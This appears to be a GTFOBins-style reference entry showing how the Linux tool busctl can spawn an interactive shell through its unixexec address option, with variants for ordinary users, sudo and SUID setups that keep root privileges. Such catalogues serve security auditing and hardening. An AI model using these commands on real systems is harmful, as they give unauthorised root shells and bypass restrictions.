busctl
Shell
This executable can spawn an interactive system shell.
- This function can be performed by any unprivileged user.
busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.busctl set-property org.freedesktop.systemd1 /org/freedesktop/systemd1 org.freedesktop.systemd1.Manager LogLevel s debug --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2' - This function can be performed by any unprivileged user.
busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'This function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.busctl --address=unixexec:path=/bin/sh,argv1=-c,argv2='/bin/sh -i 0<&2 1>&2'This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.busctl --address=unixexec:path=/bin/sh,argv1=-pc,argv2='/bin/sh -p -i 0<&2 1>&2'
Inherit
This executable can inherit functions from another.
- This function can be performed by any unprivileged user.
busctl --show-machineThis function is performed by the privileged user if executed viasudobecause the acquired privileges are not dropped.busctl --show-machineThis function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.busctl --show-machine